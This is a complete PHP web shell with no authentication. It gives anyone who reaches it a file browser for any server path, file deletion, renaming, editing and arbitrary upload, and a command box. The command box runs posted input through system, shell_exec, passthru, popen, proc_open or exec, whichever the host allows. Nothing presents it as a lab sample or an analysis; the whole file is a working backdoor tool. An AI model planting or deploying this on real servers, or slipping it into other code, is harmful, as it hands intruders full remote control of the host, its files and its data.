<?php
echo "<!DOCTYPE html>
<html>
<head>
    <title></title>
    <style>
        body { font-family: monospace; background-color: #f9f9f9; padding: 20px; }
        pre { font-size: 14px; }
        .cmd-section { margin-top: 20px; }
        .cmd-form { display: flex; gap: 10px; align-items: center; margin-bottom: 10px; }
        .cmd-form input[type='text'] { flex: 1; padding: 5px; font-family: monospace; font-size: 14px; }
        .cmd-form input[type='submit'] { padding: 5px 10px; }
        .cmd-form input[type='file'] { padding: 5px; font-family: monospace; font-size: 13px; }
        table { border-collapse: collapse; width: 100%; margin-top: 10px; }
        th, td { text-align: left; padding: 4px 8px; border-bottom: 1px solid #ddd; font-size: 13px; }
        th { background-color: #eee; }
        a { color: #0066cc; text-decoration: none; }
        a:hover { text-decoration: underline; }
        a:visited { color: #009900; }
        a.visited { color: #009900; font-weight: bold; }
    </style>
</head>
<body>
";
$cwd = isset($_GET['path']) ? $_GET['path'] : getcwd();
$cwd = realpath($cwd) ?: $cwd;

function perms_sym($perms) {
    $t = $perms & 0xF000;
    $map = array(0xC000 => 's', 0xA000 => 'l', 0x8000 => '-', 0x6000 => 'b', 0x4000 => 'd', 0x2000 => 'c', 0x1000 => 'p');
    $info = isset($map[$t]) ? $map[$t] : 'u';
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}

function perms_cell($p) {
    $perms = @fileperms($p);
    if ($perms === false) return '-';
    $sym = perms_sym($perms);
    if (@is_writable($p)) return "<span style='color:#009900;font-weight:bold;'>" . $sym . "</span>";
    if (@is_readable($p)) return "<span style='color:#cc0000;'>" . $sym . "</span>";
    return "<span style='color:#888888;'>" . $sym . "</span>";
}

if (isset($_GET['del'])) {
    $target = $_GET['del'];
    if (is_dir($target)) {
        print("[+] " . (rmdir($target) ? "Directory removed" : "Remove failed (not empty?)") . "\n");
    } else {
        print("[+] " . (@unlink($target) ? "File deleted" : "Delete failed") . "\n");
    }
}

if (isset($_GET['rename']) && isset($_POST['newname'])) {
    $old = $_GET['rename'];
    $new = dirname($old) . '/' . $_POST['newname'];
    print(@rename($old, $new) ? "[+] Renamed to " . htmlspecialchars(basename($new)) : "[-] Rename failed");
    print("\n");
}

if (isset($_GET['edit']) && isset($_POST['content'])) {
    file_put_contents($_GET['path'] . '/' . $_GET['edit'], $_POST['content']) ? print("[+] File saved\n") : print("[-] Save failed\n");
}

$upmsg = null;
if (isset($_FILES['upfile'])) {
    $un = $_FILES['upfile']['name'];
    $un = substr($un, 0, strcspn($un, "\x00\r\n"));
    $un = basename($un);
    $dest = $cwd . '/' . $un;
    if ($_FILES['upfile']['error'] !== 0) {
        $upmsg = "[-] Upload error code " . intval($_FILES['upfile']['error']);
    } elseif ($un === '') {
        $upmsg = "[-] Upload failed (empty file name)";
    } elseif (@move_uploaded_file($_FILES['upfile']['tmp_name'], $dest)) {
        $upmsg = "[+] Uploaded: " . htmlspecialchars($un);
    } elseif (@copy($_FILES['upfile']['tmp_name'], $dest)) {
        $upmsg = "[+] Uploaded (copy): " . htmlspecialchars($un);
    } elseif (@file_put_contents($dest, @file_get_contents($_FILES['upfile']['tmp_name'])) !== false) {
        $upmsg = "[+] Uploaded (fallback): " . htmlspecialchars($un);
    } else {
        $upmsg = "[-] Upload failed (dir not writable / open_basedir)";
    }
    if ($upmsg !== null) { print($upmsg . "\n"); }
}

$bc = "<a href='?path=%2F'>/</a>";
$acc = '';
$first = true;
foreach (explode('/', trim($cwd, '/')) as $seg) {
    if ($seg === '') continue;
    $acc .= '/' . $seg;
    $bc .= ($first ? "" : "/") . "<a href='?path=" . urlencode($acc) . "'>" . htmlspecialchars($seg) . "</a>";
    $first = false;
}
echo "<h3>Path: " . $bc . "</h3>\n";
echo "<table><tr><th>Name</th><th>Size</th><th>Perms</th><th>Modified</th><th>Action</th></tr>\n";
$dirs = array();
$files = array();
foreach (scandir($cwd) as $f) {
    if ($f === '.') continue;
    $p = $cwd . '/' . $f;
    if (is_dir($p)) $dirs[] = $f; else $files[] = $f;
}
$parent = dirname($cwd);
echo "<tr><td><a href='?path=" . urlencode($parent) . "'>[UP]</a></td><td></td><td></td><td></td><td></td></tr>\n";
foreach ($dirs as $d) {
    $p = $cwd . '/' . $d;
    echo "<tr><td>[DIR] <a href='?path=" . urlencode($p) . "'>" . htmlspecialchars($d) . "</a></td>";
    echo "<td>" . perms_cell($p) . "</td>";
    echo "<td>" . (($m = @filemtime($p)) ? date('Y-m-d H:i', $m) : '-') . "</td>";
    echo "<td><a href='?path=" . urlencode($cwd) . "&rename=" . urlencode($p) . "#ren'>ren</a> <a href='?path=" . urlencode($cwd) . "&del=" . urlencode($p) . "' onclick=\"return confirm('Del dir?')\">del</a></td></tr>\n";
}
foreach ($files as $f) {
    $p = $cwd . '/' . $f;
    echo "<tr><td><a href='?path=" . urlencode($cwd) . "&edit=" . urlencode($f) . "#edit'>" . htmlspecialchars($f) . "</a></td>";
    echo "<td>" . @filesize($p) . "</td><td>" . perms_cell($p) . "</td>";
    echo "<td>" . (($m = @filemtime($p)) ? date('Y-m-d H:i', $m) : '-') . "</td>";
    echo "<td><a href='?path=" . urlencode($cwd) . "&edit=" . urlencode($f) . "#edit'>edit</a> <a href='?path=" . urlencode($cwd) . "&rename=" . urlencode($p) . "#ren'>ren</a> <a href='?path=" . urlencode($cwd) . "&del=" . urlencode($p) . "' onclick=\"return confirm('Del file?')\">del</a></td></tr>\n";
}
echo "</table>\n";

if (isset($_GET['rename'])) {
    echo "<div class='cmd-section'><h4>Rename: " . htmlspecialchars(basename($_GET['rename'])) . "</h4>\n";
    echo "<form method='POST' class='cmd-form'><input type='text' name='newname' value='" . htmlspecialchars(basename($_GET['rename'])) . "'><input type='submit' value='Rename'></form></div>\n";
}
if (isset($_GET['edit'])) {
    $ef = $cwd . '/' . $_GET['edit'];
    echo "<div class='cmd-section' id='edit'><h4>Edit: " . htmlspecialchars($_GET['edit']) . "</h4>\n";
    echo "<form method='POST'><textarea name='content' style='width:100%;height:300px;font-family:monospace;'>" . htmlspecialchars((string)@file_get_contents($ef)) . "</textarea>\n";
    echo "<div style='margin-top:6px;'><input type='submit' value='Save'></div></form></div>\n";
}

echo "<div class='cmd-section'>
<form method='POST' class='cmd-form' action='?path=" . urlencode($cwd) . "'>
    <input type='text' name='cmd'>
    <input type='submit' value='Run'>
</form>
</div>
";

echo "<div class='cmd-section'>
<form method='POST' enctype='multipart/form-data' class='cmd-form' action='?path=" . urlencode($cwd) . "'>
    <input type='file' name='upfile'>
    <input type='submit' value='Upload'>
</form>
</div>
";

if (!empty($_POST["cmd"])) {
    echo "<h4>CMD Output:</h4>\n";
    echo "<pre>";
    $_o = null;
if (function_exists('system')) { system($_POST["cmd"]); }
elseif (function_exists('shell_exec')) { $_o = shell_exec($_POST["cmd"]); }
elseif (function_exists('passthru')) { passthru($_POST["cmd"]); }
elseif (function_exists('popen')) { $_h = popen($_POST["cmd"], 'r'); $_o = fread($_h, 131072); pclose($_h); }
elseif (function_exists('proc_open')) { $_d = array(0=>array('pipe','r'),1=>array('pipe','w')); $_p = proc_open($_POST["cmd"], $_d, $_s); if (is_resource($_p)) { $_o = stream_get_contents($_s[1]); fclose($_s[1]); proc_close($_p); } }
elseif (function_exists('exec')) { $_r = array(); exec($_POST["cmd"], $_r); $_o = implode("\n", $_r); }
else { $_o = "[all exec functions disabled on this host]"; }
if ($_o !== null) echo $_o;
    echo "</pre>\n";
}
echo "<script>\r\n(function(){\r\n    try {\r\n        var K = 'jdbv_';\r\n        localStorage.setItem(K + location.href.split('#')[0], '1');\r\n        var as = document.getElementsByTagName('a');\r\n        for (var i = 0; i < as.length; i++) {\r\n            var h = as[i].href;\r\n            if (h && localStorage.getItem(K + h.split('#')[0])) { as[i].className += ' visited'; }\r\n        }\r\n    } catch (e) {}\r\n})();\r\n</script>\r\n";
echo "</body>\n</html>\n";
